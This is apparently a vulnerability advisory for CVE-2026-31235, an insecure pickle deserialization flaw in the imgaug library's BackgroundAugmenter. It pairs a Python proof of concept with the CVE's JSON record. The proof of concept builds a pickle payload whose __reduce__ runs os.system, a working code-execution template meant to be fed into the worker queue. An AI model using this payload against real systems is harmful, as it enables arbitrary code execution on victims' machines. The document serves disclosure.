CVE-2026-31235

import pickle import os # Define a malicious class that executes code on deserialization class MaliciousPayload: def __reduce__(self): # Command to execute: creating a file as proof of concept # Change 'touch /tmp/pwned' to 'calc.exe' for Windows proof return (os.system, ('touch /tmp/pwned',)) # Serialize the payload malicious_data = pickle.dumps(MaliciousPayload()) # In a real attack scenario, this 'malicious_data' would be placed # into the multiprocessing queue consumed by imgaug.BackgroundAugmenter. # When the worker process calls pickle.loads() on the queue item, # the command 'touch /tmp/pwned' will be executed. print("[+] Malicious pickle payload generated.") print(f"[+] Payload length: {len(malicious_data)} bytes")

{"cve": {"id": "CVE-2026-31235", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:51.860", "lastModified": "2026-05-14T20:17:02.937", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The imgaug library thru 0.4.0 contains an insecure deserialization vulnerability in its BackgroundAugmenter class within the multicore.py module. The class uses Python's pickle module to deserialize data received via a multiprocessing queue in the _augment_images_worker() method without any safety checks. An attacker who can influence the data placed into this queue (e.g., through social engineering, malicious input scripts, or a compromised shared queue) can provide a malicious pickle payload. When deserialized, this payload can execute arbitrary code in the context of the worker process, leading to remote or local code execution depending on the deployment scenario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/aleju/imgaug", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31235-35d1e139318881efb701d814228424a9", "source": "[email protected]"}]}}